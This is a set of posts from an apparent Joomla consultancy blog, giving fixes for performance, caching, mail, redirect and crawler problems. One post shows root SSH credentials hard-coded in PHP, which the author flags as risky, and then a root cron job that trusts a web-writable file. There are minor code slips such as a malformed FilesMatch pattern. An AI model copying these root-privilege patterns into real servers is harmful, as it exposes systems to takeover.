Some Joomla administrators run weekly checks on their Joomla websites (they don’t have time to run daily checks), so they might want to go with 7 days instead of 48 hours. In that case, all they need to do is change 2 in the above code to 7.

The above is one of the many checks we run daily on the Joomla websites that we fully manage. If you want us to fully manage your website, please contact us. Our fees are affordable, our work is professional, and we will proactively ensure that your website is clean!

How to Resolve Performance Issues Caused by Pagination on Large Joomla Websites

Warning: The solution presented in this post consists of a core modification, which means a future Joomla update may wipe it out. You have been warned!

If you check the MySQL slow query log of a large Joomla website, you will probably see something like the below query:

SELECT a.id, a.title, a.alias, a.introtext, a.fulltext, a.checked_out, a.checked_out_time, a.catid, a.created, a.created_by, a.created_by_alias, CASE WHEN a.modified = '0000-00-00 00:00:00' THEN a.created ELSE a.modified END as modified, a.modified_by, uam.name as modified_by_name,CASE WHEN a.publish_up = '0000-00-00 00:00:00' THEN a.created ELSE a.publish_up END as publish_up,a.publish_down, a.images, a.urls, a.attribs, a.metadata, a.metakey, a.metadesc, a.access, a.hits, a.xreference, a.featured, a.language, LENGTH(a.fulltext) AS readmore,CASE WHEN badcats.id is not null THEN 0 ELSE a.state END AS state,c.title AS category_title, c.path AS category_route, c.access AS category_access, c.alias AS category_alias,CASE WHEN a.created_by_alias > ' ' THEN a.created_by_alias ELSE ua.name END AS author,ua.email AS author_email,parent.title as parent_title, parent.id as parent_id, parent.path as parent_route, parent.alias as parent_alias,ROUND(v.rating_sum / v.rating_count, 0) AS rating, v.rating_count as rating_count,c.published, CASE WHEN badcats.id is null THEN c.published ELSE 0 END AS parents_published
FROM #__content AS a
LEFT JOIN #__content_frontpage AS fp ON fp.content_id = a.id
LEFT JOIN #__categories AS c ON c.id = a.catid
LEFT JOIN #__users AS ua ON ua.id = a.created_by
LEFT JOIN #__users AS uam ON uam.id = a.modified_by
LEFT JOIN #__categories as parent ON parent.id = c.parent_id
LEFT JOIN #__content_rating AS v ON a.id = v.content_id
LEFT OUTER JOIN (SELECT cat.id as id FROM #__categories AS cat JOIN #__categories AS parent ON cat.lft BETWEEN parent.lft AND parent.rgt WHERE parent.extension = 'com_content' AND parent.published != 1 GROUP BY cat.id ) AS badcats ON badcats.id = c.id
WHERE a.access IN (1,1) AND c.access IN (1,1) AND CASE WHEN badcats.id is null THEN a.state ELSE 0 END = 1 AND (a.publish_up = '0000-00-00 00:00:00' OR a.publish_up <= '2016-03-13 13:01:11') AND (a.publish_down = '0000-00-00 00:00:00' OR a.publish_down >= '2016-03-13 13:01:11')
ORDER BY c.lft, a.featured DESC, fp.ordering, CASE WHEN a.publish_up = '0000-00-00 00:00:00' THEN a.created ELSE a.publish_up END DESC , a.created LIMIT 34680, 20;

Now we have explained how to optimize most of this query a long time ago, but still, there is one part of it that we didn’t address, it’s the LIMIT 34680, 20 part, in which we tell MySQL to grab results which ordering is between 34680 and 34679 (inclusive) for pagination purposes.

The problem with the LIMIT 34680, 20 is that it is extremely slow when fetching results, and can cause a delay of 5-6 seconds.

So, what’s the solution?

Well, a LIMIT 34680, 20 means that we are trying to fetch the data for page 1735 (since we are listing 20 results per page, so that’s 34680/20 + 1), but that it’s a bit too excessive. Even Google, with all its processing power, doesn’t do that. If you don’t believe that, try visiting the following link: https://www.google.ca/?gws_rd=ssl#q=test&start=3000, and you will see the below message:

Sorry, Google does not serve more than 1000 results for any query. (You asked for results starting from 3000.)

So, Google, the most important website in the world, restricts the number of its search results to 1000 results (or 100 pages, since they display 10 results per page), but we are trying to display more than 30,000 results on the Joomla website, which doesn’t make much sense.

So, we discussed the issue with the client and we convinced him that it’s a much better idea (for performance reasons) to restrict pagination to only 100 pages (2,000 results, that’s 1,000 more than what Google displays), and the client immediately agreed, and so implemented the fix the following way:

  • We opened the file index.php located under the main directory of the website.
  • We added the following code at the very beginning of the file:

    $myStart = intval($_GET['start']);
    if ($myStart > 2000)
    	die('Pagination Limit Exceeded');

  • That’s it. The problem was solved! No more slow queries caused by excessive pagination!

But wouldn’t the above cause a problem when indexing older articles?

Usually, humans (unless they are really, really, really bored) never browse past page 10, only bots do, and they only do that to index older articles. If you disallow pagination past page 100, then you might run into indexing issues. In order to resolve the problem, you will need to make sure that you have a valid and up-to-date XML sitemap of your website.

Isn’t there a better solution?

Well, if you have contiguous IDs on your Joomla website, then the answer is yes, there is a better solution that allows you to have all the pagination that you want, and it consists of changing the LIMIT statement to something like WHERE id > n LIMIT 0, 20 (where n substitutes 34680 in the query above). However, on large Joomla websites, it’s almost an impossibility to have contiguous IDs.

If you have a large website, we really recommend implementing the above solution. It will definitely lessen the load on your server and will make your Joomla website work a lot faster. If you’re afraid of the implementation, then please contact us. We will do it for you quickly, professionally, and for a very reasonable fee!

Joomla’s Backend Displaying phpMyAdmin

We had an interesting case today – a client of ours told us that whenever he tries to login to the administrator section of his website, he was seeing phpMyAdmin‘s login page instead of Joomla’s regular administrator login page. At first, we thought we misunderstood what the client said, but it didn’t take us long to discover that we didn’t (yes, there are 2 “didn’t’s” in this sentence, but it’s not a double negative).

We saw weird things on Joomla websites, but it was the first time we saw something that weird. What was even weirder was that the administrator folder of the Joomla website contained an extracted copy of phpMyAdmin (hence the phpMyAdmin login). It still contained everything the administrator folder had (with the exception of the index.php file, which was overwritten by that of the phpMyAdmin instance). Fixing the problem consisted of simply copying the administrator/index.php file from a fresh Joomla install (matching the client’s version) to the administrator folder of the actual website. Of course, we needed also to remove the folders associated with phpMyAdmin, but that wasn’t necessary to fix the problem.

But what caused this to happen?

We have 2 theories on what caused this:

  1. A staff member (working for the client) or the hosting company mistakenly uploaded phpMyAdmin to the administrator folder or our client’s website.
  2. The website was hacked, and the phpMyAdmin instance was uploaded to the administrator folder as part of the hack.

Obviously, we can’t do anything to avoid the first potential cause in the future as it is a human mistake. But for the second one, we implemented some security measures on the website (such as preventing access to files other than the index.php file) in order to better protect the website.

If your Joomla’s backend is suddenly displaying phpMyAdmin (or a different application), then make sure that phpMyAdmin (or that other application) is not installed in your administrator folder. If it is, then all you need to do is to remove it (e.g. remove the application) and restore the original administrator/index.php file. If that doesn’t solve the problem, then please contact us. We will solve the problem for you in as little time and for as little money as possible.

Joomla Website Crashing Constantly After Moving to a Larger Hard Disk

A regular client called us a week ago and told us that, after moving his Joomla website to a larger hard drive, it started crashing constantly. We checked the load on his server and it was super high (in the double digits) which explained the constant crashing, but didn’t really reveal the root cause.

So, we checked the slow query log (since the process that was creating the majority of the load was MySQL) and we noticed that there was a huge number of various slow queries, which was odd, considering that the website was running very smoothly before the move to a larger hard drive. Naturally, we started optimizing the queries, one by one, but we just couldn’t get the website under control.

We then reduced Bing’s crawl rate, as well as Google’s (we did the latter task using Google’s Webmaster Tools). Things got better, and the website crashed less often, but it still crashed…

We then did another round of optimization, and we blocked all the spam and the non-essential bots, but the progress wasn’t substantial and the load was still un-maintainable.

We then remarked that around midnight, a cPanel process called pure-quotecheck was causing some additional load (second highest load after MySQL), and so we stopped it by disabling updates in WHM. The load decreased, but still, it wasn’t a silver bullet.

We literally worked for a week trying to optimize the website in order to get it back to stability, but we weren’t able to. We were ready to declare defeat, but, in a moment of despair, we re-read the first email that the client sent, which stated that the whole problem happened after the website was moved to a larger hard disk. So we thought, what if the new hard disk was not an SSD (Solid State Drive) hard disk (the previous hard disk was an SSD hard disk)? To our surprise, a quick test revealed that the new drive was a SATA (Serial AT Attachment) drive, which is around ten times slower than SSD! Aha! We found the root cause of the problem!

Immediately, we asked the hosting company to switch our client back to an SSD drive, which they managed to accomplish in a few hours, and, once they did, the website stabilized and became super fast (even faster than before the move because of all the optimizations that we did).

But how come we didn’t think of that before?

Our client communicated heavily with the host about this problem before resorting to us, so we couldn’t really imagine that it’s a hardware issue (although we did start suspecting that the hard disk was faulty near the end of our investigation, just before we discovered that it was a SATA drive). And honestly, we never thought that the host would do such a thing by mistake (moving a website from SSD to SATA).

But why would a switch from SSD to SATA have such terrible effects on a Joomla website?

Well, on large Joomla websites, MySQL tends to create a lot of temporary tables on the file system. As mentioned above, SATA drives are usually about 10 times slower than SSD drives when it comes to writing data, and so, on SATA drives, MySQL faces a bottleneck when writing those temporary tables. This leads to a huge load caused by MySQL waiting for the SATA drive to write the temporary tables. The problem, of course, is exacerbated as additional MySQL threads try to write some temporary tables, and have to wait in line until the previous threads are served by the SATA drive.

So, our dear reader, if your website starts crashing after moving to a larger hard disk, then make sure you were not moved, by mistake, from an SSD drive to a SATA drive. If that was the case, then ask your host to move you back to SSD. If that wasn’t the case, then please contact us. We always find a solution, our prices are affordable, and we are the friendliest developers on planet Earth.

Internal Server Error When You Use PHP 5.5 for Your Joomla 3.x Website

For the somewhat technically savvy, the title of this post may seem like an oxymoron: Joomla 3.x should run very well on any PHP version ranging from 5.3.10 through version 7! So why should it have a problem with PHP 5.5 (or higher versions of PHP)?

To answer this question, let us tell you a little story…

Around midnight, a client emailed us and told us that he can’t run his Joomla 3.4.8 website on PHP 5.5 (which is his host’s default), and that he has to add the following line to his .htaccess file in order to make his Joomla website work:

AddHandler application/x-httpd-php53 .php

The above code ensured that the PHP version used to power his Joomla website was 5.3.29, which worked for our client, but he didn’t (and rightly so) want to remain on a no longer supported PHP version.

The first thing that we did when we started working on the website was removing the above line from the .htaccess file, and the moment we did that, the website displayed the infamous Internal Server Error page. The client, in his email, told us that the problem was caused by an extension called HotSpots which (again, according to our client) did not work (for some reason) on PHP 5.5. So, we disabled that extension, and still, we had the same problem.

We then disabled all the 3rd party extensions, one by one, until we were left with only the core extensions (we even switched to a core template), but still, we had the Internal Server Error page on the frontend.

Naturally, we checked the Apache error log, which revealed nothing, since the client was on a shared hosting. We expected though to get the server logs from the host, but they (the host) refused to share them us, so we had to fix the problem ourselves.

We then started debugging the entry index.php file: we started, as usual, by adding a die(‘Under Maintenance); code to its very beginning. To our surprise, the Internal Server Error remained even after adding the die line to the beginning of the index.php file. So, we thought it was a problem with the file permission, but, unfortunately, it wasn’t (the permissions were set to 644 on the index.php file, and the file ownership was correct). So, we just thought that this file was jinxed, and we created another file, called test.php which contained the following line:

<?php die('Under Maintenance'); ?>

Unsurprisingly, when we tried to load the test.php file from the browser, we were greeted (again) with the Internal Server Error page.

At this point we started suspecting the host: perhaps the host’s PHP 5.5 version is corrupt, and all their clients think that the problem is on their end, and so they add that .htaccess line to run their websites under PHP 5.3, but, we then quickly dismissed that idea since we had another client on the same host who didn’t have this problem.

Only after hours of searching that we discovered the root cause of the problem: there was a php.ini file, placed under the root directory of the Joomla website, which was only compatible with PHP 5.3. Renaming the php.ini file to php.ini.old immediately solved the problem!

If you are seeing an Internal Server Error on your Joomla website when you are using PHP 5.5, then check the root directory for a php.ini file (or a .user.ini file), if you have one, then just rename it to php.ini.old (or .user.ini.old) and see if that fixes the problem. If it does, then you’re welcome! If it doesn’t, then please contact us, we’ll solve the problem for you in very little time and for very little money.

How to Disable Browser Caching in Joomla’s Backend

We received the following email from a client yesterday:

“I’ve had a problem for about a year with my company website. It makes me attempt the login 3-5 times before getting into the backend, and then when I’m in, I have to save any change I make to the site either 2, 3, or 4 times. I just dealt with this weird issue for a while but I can’t take it anymore. I don’t have any coding or technical experience (I’m a long-term amateur Joomla guy). I’m wondering if you guys could help.”

We were perplexed, because we really haven’t seen anything like this before, except maybe for this, but it really didn’t apply to our client since he wasn’t being redirected from www to non-www (or vice versa) when he tried to login and the problem was also happening when he was trying to save articles (or any content item, as we later discovered).

So, we started testing the website and it was very annoying, every time we tried to login we had to login multiple times. The first time it was showing a blank page, and the second time it was showing the following error:

The most recent request was denied because it contained an invalid security token. Please refresh the page and try again.

The third time the website displayed the above error again, and then, when we went to the login page the fourth time (or the fifth time), the website logged us in immediately (without even having to re-enter the username and password).

Now, of course, we wanted to know why the website was showing a blank page the first time we tried to login… So, we set error reporting to Maximum in the configuration.php file and then we tried to login again, and this time, the first time we tried to login, we saw the following error:

Fatal error: Call to a member function checkSession() on a non-object in plugins/user/joomla/joomla.php on line 216

A quick research on the above error revealed that the cause of the problem was the presence of the folder libraries/joomla/plugin folder, which was there from a previous Joomla version, and so we deleted the libraries/joomla/plugin folder, thinking that this would solve the main problem. But it didn’t, it just redirected us to the login page the first time we tried to login (the second time [and the third time, and the fourth time] it still showed the error “The most recent request was denied…”), and so we continued testing and experimenting.

We then remarked something: when we modified an article in the backend, it was modified immediately in the database, but it was still loading the old article in the backend, which meant that the issue was caused by an aggressive type of browser caching. Aha!

So, in order to fix the problem, we instructed the browser not to cache the pages on the Joomla website by adding the following to the very beginning of the .htaccess file (located under the main directory of the website, but we could also have created a different .htaccess file and placed it under the administrator folder):

<FilesMatch "\.(html|htm|php)>
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Mon, 01 Jan 1990 00:00:00 GMT"
</FilesMatch>

As soon as we added the above code, everything worked normally: we only had to login once and we only had to save content items once. The problem was solved! Hooray!

But what caused that aggressive browser caching in the first place?

The website was on a shared hosting, so we assume that the host has enabled this aggressive browser caching at the Apache level in order to reduce the server’s overall traffic (and load).

Now, if you have to login multiple times to your Joomla website and/or you have to save the same article multiple times until you see your changes in the backend, then try adding the above code to your .htaccess file to disable browser caching. If the problem persists, then please contact us. We’ll be happy to help, we always find a solution, and our fees are super affordable!

Google News Not Displaying Images for Joomla Articles: How to Fix

A high traffic law news website that we have worked on many times had a long-time problem with Google News – a problem that we were made aware of a few weeks ago. It wasn’t a serious problem, but it was quite annoying: whenever they posted a new article on the website, Google News would index the article, but would not show the article’s image in its listings. Now, of course, this isn’t catastrophic, but this problem reduced the traffic directed to this website (people are more willing to click on articles with images) and, of course, made the website look slightly unprofessional.

Now, any developer would agree with us that the worst website problems to solve are those that cannot be directly controlled from within the website. And that problem was exactly that – no one has control over what Google decides to show and how it indexes websites. Of course, there was a problem on the website, but we just didn’t know what it was because it wasn’t actually happening on the website.

So, what did we do?

We tried everything. And when we say everything, we mean everything. We read Google News‘ technical requirements (available here) many times, many many times, but with no avail: the image simply wasn’t displaying – instead – the alt attribute of the image was displaying.

What made things even more complex is that we didn’t know whether our fixes worked or not immediately as we had to wait until Google indexes the website. We also couldn’t just add test articles to the website (and then delete them) because of its importance in the legal world (the team managing the website had zero tolerance for on-site debugging).

We were about to declare defeat, total defeat, when a lightning bolt struck us (well, not literally as there aren’t lightnings this time of year in Montreal) after re-reading the technical requirements for the gazillionth time (we are slightly exaggerating here, we only read it about 2 billion times), where we noticed this little sentence about the robots.txt file: “Please read our Help Center article about robots if you believe your site’s robots.txt file, meta tags, or HTML header specifications might be blocking our crawler from accessing your content.” Well, what if it was the robots.txt file?

So, we checked the path of the image of a random article on the website, and we noticed that the path was something like: http://www.ourclientjoomlawebsite.com/cache/multithumb_thumbs/image_file_name.jpg (the client uses the BK-MultiThumb plugin for generating thumbnail images).

But, Joomla’s default robots.txt clearly instructs search engines not to index anything in the cache folder! That’s it! That is really it! Google News wasn’t displaying the images because we told it not to in the robots.txt file! So to fix the problem, all we had to do was to tell Google to index the cache/multithumb_thumbs folder by adding the following line to the robots.txt file immediately after Disallow: /cache/:

Allow: /cache/multithumb_thumbs/

Phew! That simple line fixed a year-old problem!

It really took us a long, long time to get to the bottom of this, and we are glad that we have shared our knowledge in this post so that other people with the same problem will be able to easily fix it. But, if even after following the instructions above, you are still having problems with Google News not displaying your article images, then please contact us. We’re always happy to help, we love solving problems, and our rates are super affordable!

Email Sent but Not Received When Emailing Articles on a Joomla Website

Note: The solution presented in this post consists of a core modification. Core modifications may be wiped out with future Joomla updates. Please keep that in mind should you decide to implement it.

Last Thursday, a regular reader of a client’s website emailed our client and told them that whenever he likes an article on their website, he tries to email its link to himself for future re-reading, and he does that using the “Send this article to a friend” functionality. The problem is, he rarely, if ever, receives the email containing the link to the article (despite the site telling him that the “Email was sent successfully”), so he ends up doing the whole process manually (he copies and pastes the link, and then uses his own email tool to send the link to himself). The reader explained in his email that he was using Comcast.

Now we did have a problem before with this particular functionality (sending articles to a friend), but that problem was addressed on this particular website, and, in addition, the Joomla application clearly stated that the email was successfully sent when the current problem happened, which wasn’t the case for the older problem (which, again, was resolved on this particular website)…

So, we tested this feature by trying to email an article to our email, and, although we received the email, we noticed one thing: the “from” email address was the “Email” field in the popup form, which meant that technically, the Joomla website was trying to send emails on behalf of other domains when using that functionality. We immediately knew that the problem was related to SPF (see this post on why SPF can cause problems when sending emails).

In order to fix the problem we had to make sure that Joomla sends emails on behalf of a domain that is authorized to send emails from the website’s (the Joomla website) IP. Typically, that domain is the actual domain of the Joomla website. We did it this way:

  • We opened the file “controller.php” located under the /home/hospital/public_html/components/com_mailto folder.
  • We changed the following line:

    if (JFactory::getMailer()->sendMail($from, $sender, $email, $subject, $body) !== true)

    to:

    $siteName = JFactory::getConfig()->get( 'sitename' );
    $siteFrom = $config->get( 'mailfrom' );
    $siteSender= $siteName.' on Behalf of '.$sender;
    if (JFactory::getMailer()->sendMail($siteFrom, $siteSender, $email, $subject, $body) !== true)

  • We emailed the user and asked him to try to send an article to himself. He responded immediately with a very sweet “Thank you! It’s working!”.

But what if after applying the fix above the problem still occurred?

In that case, then most likely the website’s IP is not allowed to send emails on behalf of the website’s domain. To fix this problem, you will need to make sure that you add the website’s IP to the domains’s SPF setting (we explained how to do that in the second link above).

But, how come we didn’t have this problem when we tested it?

Some domains, including the domain that we use for testing, are hosted on servers that are lax in enforcing spam rules, and that will allow almost all emails to go through, including emails that are sent from IPs that are not authorized to send them.

Now, if you hare having problems emailing articles on your Joomla website, try applying the above fix. If it doesn’t work, then please contact us. We will fix the problem for you as quickly as humanly possible, we will then ensure that it’s working all the time, and finally, we will send a very reasonable invoice that will incite you to work with us again!

The “Advanced Mode” in Joomla’s Redirect Manager: A Mystery Unveiled

When you start delving into the wonderful world of Joomla, you will soon know that it has many mysteries; some of which you are curious to know everything about, others of which you prefer to leave alone. In the latter category, we can think of one mystery, the Redirect Manager‘s Advanced Mode. Before explaining what is that, let us tell you first where to find it!

You can find this option by logging in to the backend, and then clicking on System -> Global Configuration, and then clicking on Redirect on the left tab. You will see the Activate Advanced Mode option (which defaults to “No”) under the Advanced tab on the top.

So, what is it?

Frankly, we have never used it and we didn’t know what it was, until earlier this week, when a client of ours drew our attention to it, asking us what it does. So, we checked the code, mainly in the Redirect Manager plugin (e.g. in the file redirect.php located under the plugins/system/redirect folder), and we saw this:

// If no header is set use a 301 permanent redirect
if (!$link->header || JComponentHelper::getParams('com_redirect')->get('mode', 0) == false)
{
	$link->header = 301;
}

In case you haven’t guessed it already the mode attribute represents the Advanced Mode, and is defaulted to zero (“No”). The default behavior (when the Advanced Mode is set to “No”) is that the HTTP header of any link is 301 (which means that the link is redirected permanently to a different link [the Destination URL]).

Now, what happens if it’s set to “Yes”?

Well, in that case, the stored HTTP header of the link will be used, so, if it’s something like 303 or 304, then it’ll be used instead, instead of the default 301 redirect.

Now, you might be wondering, how does Joomla know which link is a 404 (not found) link, for example? Well, manually, of course! You see, when you switch the Advanced Mode to “Yes”, you will be able to specify the Redirect Status Code for each link (in the Redirect Manager component). Oh, and yes, the Destination URL will no longer be mandatory once you set the Advanced Mode to “Yes”, since some HTTP codes (e.g. the Redirect Status Codes), do not entail a redirection to another link.

In case you’re wondering how the “New Redirects” page will look like once you set the Advanced Mode to “Yes”, then here it is:

New Redirect Page with Advanced Mode Set to Yes

Figure 1: New Redirects Page with Advanced Mode Set to “Yes”

So, if you were wondering about that mystery, then we hope that we have unveiled it for you. If you think we haven’t, or if you need further explanation on the subject, or if you want us to unveil other Joomla mysteries for you, then please contact us. We know Joomla inside out, we respond quickly, and our fees are super affordable!

How We Ran an SSH Command from Joomla

Note: This post is very advanced, and requires some Linux shell experience. If you feel that your experience is not up to the suggestions below, then we suggest that you ask some experts to do it for you.

Another note: Please read the post to the end before performing any work.

Recently, Apache‘s ModSecurity has become quite aggressive in blocking suspicious requests. Most of our major clients are finding its new behavior (ModSecurity‘s behavior) annoying, since it’s often blocking their IPs when they inadvertently trigger a security rule. Whenever that happens, they call us and we will need to unblock them by ssh’ing to the server and running the following commands:

csf -dr [our-client-ip]
csf -r

The first command drops (hence the dr) from the CSF database, and the second command refreshes CSF and is needed to re-allow access for the blocked IP.

But what is CSF?

CSF, in case you’re wondering, stands for ConfigServer Security & Firewall, and it’s the tool that effectively does the IP blocking (often at the request of ModSecurity, but it has its own blocking rules as well, such as when an IP tries to FTP with the wrong password, or tries to access an htpasswd protected area with the wrong password). CSF is installed by default on almost all Linux servers, as it is critical for any server’s security and stability.

But what is the problem with the above?

We typically process the unblock requests instantly, and by instantly we mean by the time we get the email, which can take anything between a minute and 15 minutes, and during those minutes the client can’t access their own website from their network. Not good!

So, while the above process works, it is not ideal for the client since it makes us the bottleneck, and clients aren’t very fond of that. We had to develop a method that allowed our major clients to unblock themselves from within the Joomla website. But there were 2 challenges:

  1. If they are blocked at the server level, then how can they access the Joomla backend to unblock themselves?
  2. csf unblocking commands require root access for successful execution, which means that we have to run the ssh2_exec PHP function, which means that we have to install the libssh2 PHP library, which may pose a major security threat to the server.

So, how did we overcome the issues above?

The first issue was easy to address – all that we needed to do was to ask the client to ask a team member to access the website using his mobile data connection, which typically uses a different, unblocked IP.

The second issue was trickier: first we needed to install the libssh2 on the server (and this is not a straightforward task, take our word for it), and then we had to create the following script:

$ourClientIP = $_POST['ourClientIP']; //The client IP to unblock is submitted using a simple form
if (!filter_var($ourClientIP, FILTER_VALIDATE_IP)) {
	die('Invalid IP');
}
$sshConnection = ssh2_connect('ourclientjoomlawebsite.com', 22);  //22 is the default ssh port, many servers elect to use a different port for security reasons
ssh2_auth_password($sshConnection , 'root', 'rootPassword');
ssh2_exec($sshConnection , 'csf -dr '.$ourClientIP);
ssh2_exec($sshConnection , 'csf -r');

The above code is fine and dandy, but there is one problem with it, one super-major problem: we are exposing the root password in a PHP script file, which means that any developer with FTP access to the Joomla website will be able to know what the root password is. Additionally, if the Joomla website has any exploit, then a malicious user will gain access to the script, and will be able to know what the root password is.

But, we are always ingenious (and humble!), and so we devised a way that allowed our client to unblock their IP without compromising server’s security. Here’s how:

  • We created a simple (htpasswd protected) form where the user enters the IP to unblock. Once the IP is entered, we save it in a text file called unblock.txt, which is located under the administrator folder.
  • In ssh, we ran the following command:

    crontab -e

    and then we added the following line to the very end (and then saved the cron):

    * * * * * if ls /home/[user]/public_html/administrator/unblock.txt > /dev/null 2>&1; then value=`cat /home/[user]/public_html/administrator/unblock.txt`;/usr/sbin/csf -g "$value";/usr/sbin/csf -dr "$value";/usr/sbin/csf -r;rm -f /home/[user]/public_html/administrator/unblock.txt; fi

The above 1-minute cron command does the following: 1) it grabs the IP to unblock from the blocked.txt file, 2) it checks if the IP already exists in the CSF database (unnecessary step), 3) it then removes the IP, and, 4) it finally refreshes the CSF database and removes the unblock.txt file. Of course, these steps are only performed when the unblock.txt file exists.

By implementing this simple logic in the cron, we avoided installing an additional PHP library and, much more importantly, we ensured that the root password remained “secret”.

Now, if you want to run a different ssh command from your Joomla website, then just follow the instructions above, it will work! If it doesn’t, then please contact us. We will help you do this in no time and for a super affordable fee!

K2 Feed Not Working when sh404SEF Is Enabled – How to Fix

We had a curious case last week. A client called us and told us that his website’s K2 RSS feed was not working. He was using FeedBurner, and he told us that it (FeedBurner) was displaying content that was weeks old instead of displaying the fresh content from his website.

So, we checked the website link that FeedBurner was using to retrieve the feed and we noticed that it was redirecting to the corresponding page on the Joomla website, instead of the RSS page. That was odd, and we have never seen this before.

Now, what was special about this website is that it was using sh404SEF, which is an extension that is known to cause many issues. So, we looked up the non-SEF link of the feed in sh404SEF‘s URL Manager, and we found that it was something like: ourclientjoomlawebsite.com/index.php?option=com_k2&Itemid=178&format=feed&id=55&lang=en&layout=category&task=category&view=itemlist. We then disabled sh40SEF, and we tried to load the non-SEF link, and, to our surprise, it worked! It displayed the actual RSS feed instead of redirecting to the normal view.

The thing is, the fact that it worked without sh404SEF made things a bit more confusing (despite the fact that we know that the culprit is sh404SEF), because it just didn’t make sense since sh404SEF should just rewrite the URL, and nothing more. We then spent many hours trying to find the cause of the problem, and we were close to declaring total defeat, but then, something happened: our client emailed us and told us that he has another extremely similar website, where the feed was working (that website had the exact same extensions and template installed – it was technically the same website but used another domain, protected by an .htpasswd, and was used for testing purposes).

We compared the 2 sites together and the only difference that we noticed was that on the development website (the website that didn’t have the problem), the following global configuration settings were all set to “No”:

  • Search Engine Friendly URLs
  • Use URL Rewriting
  • Adds Suffix to URL

While on the actual, production website, the above settings were all set to Yes. So, we changed those settings on the production website to No, and, guess what? It worked! The problem was fixed!

But why did the above settings cause the problem?

We think this was because of a conflict between sh404SEF and Joomla’s own SEF. Typically, these two play well together but, in that particular scenario, they didn’t. We’re not sure of the exact cause because we didn’t do a thorough investigation.

If you have the same problem on your Joomla website, then try disabling the above settings in the global configuration, and see if that fixes the problem. If it doesn’t, then just contact us! We will find a solution (we always do), we will implement that solution, and we will not charge you much!

Warning: The Similar URLs Plugin Will Slow Down Your Joomla Website

If you’re an avid reader of our blog, then you may already know that we’re not huge fans of sh404SEF. In fact, we have gained expertise in getting rid of it on large websites. So when something wrong happens to a website that has sh40SEF installed, we immediately suspect this notorious extension, and usually, we are not proven wrong!

Let us give you an example… Late last week a client came to us and told us that they were having some serious performance issues on their Joomla website. We knew that they were using sh404SEF and so we disabled the whole extension in order to confirm whether the problem was caused by sh404SEF or not. And, again, our suspicions were not wrong: the website worked at optimal speed once sh404SEF was disabled.

But, the client wanted sh404SEF and wasn’t ready to get rid of it (getting rid of sh404SEF on large websites is a painful project), and so he asked us to see what we can do about it. So, we checked the slow query log and we noticed that it was full of something like the following query:

select oldurl, newurl, id, dateadd from #__sh404sef_urls where newurl <> “” AND oldurl not like ‘%vmchk%’ AND newurl not like ‘%format=feed%’ AND newurl not like ‘%format=pdf%’ AND newurl not like ‘%print=1%’ AND oldurl not like ‘%__404__%’ AND ( soundex(oldurl) = soundex(‘rss/feed.html’) OR oldurl like ‘%rss%’ OR oldurl like ‘%feed%’) GROUP BY oldurl limit 500;

A quick search in the codebase revealed that these slow queries stemmed from the sh404SEF’s Similar URLs system plugin. So, in order to address the performance issue, all we needed to do was to disable that plugin.

But, doesn’t disabling the plugin have any negative repercussions on the website?

No – it doesn’t. In fact, what this plugin does is that it tries to redirect a URL with a small error (such as a typo) in it to the right URL. Now this is all fine and dandy and it sounds great on paper, but in practice, it is completely a different issue. First, it doesn’t work most of the times and second, when it does work, it can cause SEO issues (any respectable search engine out there doesn’t like to see dozens of links for the same article). So, disabling this plugin is in fact a duty for any Joomla administrator out there, since it hurts both performance and SEO.

If you have the Similar URLs plugin enabled on your Joomla website, and you are experiencing slowdowns, then try disabling it. That should help tremendously. If it doesn’t, or if you are a bit hesitant about disabling this plugin, then please contact us. We’ll give you the right advice, we’ll fix the problem for you, we won’t charge you much, and you will gain top-notch programmers (modesty here, modesty…) and true friends for life!

Your Joomla Website Is Really Really Slow? Maybe It’s Bingbot!

A client of hours with a high traffic Joomla website called us and told us that everyday during peak hours, their website slowed to a crawl. So, as usual, we ssh’d to their server and we checked the slow query log and we didn’t notice anything unusual, which was unusual (even though the long-query-time was set to 1, which means that any query taking over 1 second [the minimum] was recorded into the slow query log). The reason why this was unusual was that the MySQL load was high, yet the MySQL slow query log was nearly empty.

So, and we have no idea why, we checked the Apache logs located under /home/domlogs (note that on some Linux servers, such logs are located under the /usr/local/apache/domlogs), and we tail’d the main daily (and current) access log using the following command:

tail -500 [ourclientjoomlawebsite.com]

and here’s a glimpse of what we saw:

157.55.39.224 – – [08/Jan/2016:09:11:10 -0500] “GET [relative-url-1] HTTP/1.1” 200 10105 “-” “Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)”
157.55.39.224 – – [08/Jan/2016:09:11:10 -0500] “GET [relative-url-2] HTTP/1.1” 200 9668 “-” “Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)”
157.55.39.224 – – [08/Jan/2016:09:11:10 -0500] “GET [relative-url-3] HTTP/1.1” 200 9491 “-” “Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)”
157.55.39.224 – – [08/Jan/2016:09:11:10 -0500] “GET [relative-url-4] HTTP/1.1” 200 9724 “-” “Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)”
157.55.39.173 – – [08/Jan/2016:09:11:10 -0500] “GET [relative-url-5] HTTP/1.1” 200 9188 “-” “Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)”

As you can see in the above, Bingbot (the search engine crawler released by Microsoft back in 2010 that serves their own search engine, Bing, as well as Yahoo) hit the website with 5 page requests in one second, and it was doing that every single second! Yes – we are not exaggerating. In fact, sometimes Bingbot would request more than 10 pages in one second, but the norm was to request 5 pages every second. How did we know that it was requesting an average of 5 pages every second? Well, by running the following shell command:

grep 'bing' [ourclientjoomlawebsite.com] | wc -l

The above command returned 56,348 when we ran it 3 hours after the logs rotated, which meant that 5.21 (56,348 / (3600 * 3)) pages were crawled by Bingbot every second.

Now we have seen many things in our lives, a three-headed dog (that was in Harry Potter and the Philosopher’s Stone, and the name of that dog was Fluffy), a three-headed monkey (that was in the Tales of Monkey Island game, although, and to be fair about it, we didn’t actually see the three-headed monkey, we were just told about it in the game, and so we assumed that it existed), a smiling taxi driver who drove smoothly and who conducted an excellent and fun conversation and who seemed to be happy about everything, and a warm Montreal winter that ended in early January (yes, that really happened back in 2009). But what we haven’t seen yet was a search engine robot trying to crawl a website with such aggressiveness and during peak traffic times – it wasn’t really normal. Obviously, Bingbot was the cause of this issue and we verified it by temporarily blocking it by adding the following lines to the .htaccess file (just after the RewriteEngine On):

RewriteCond %{HTTP_USER_AGENT} bingbot[NC]
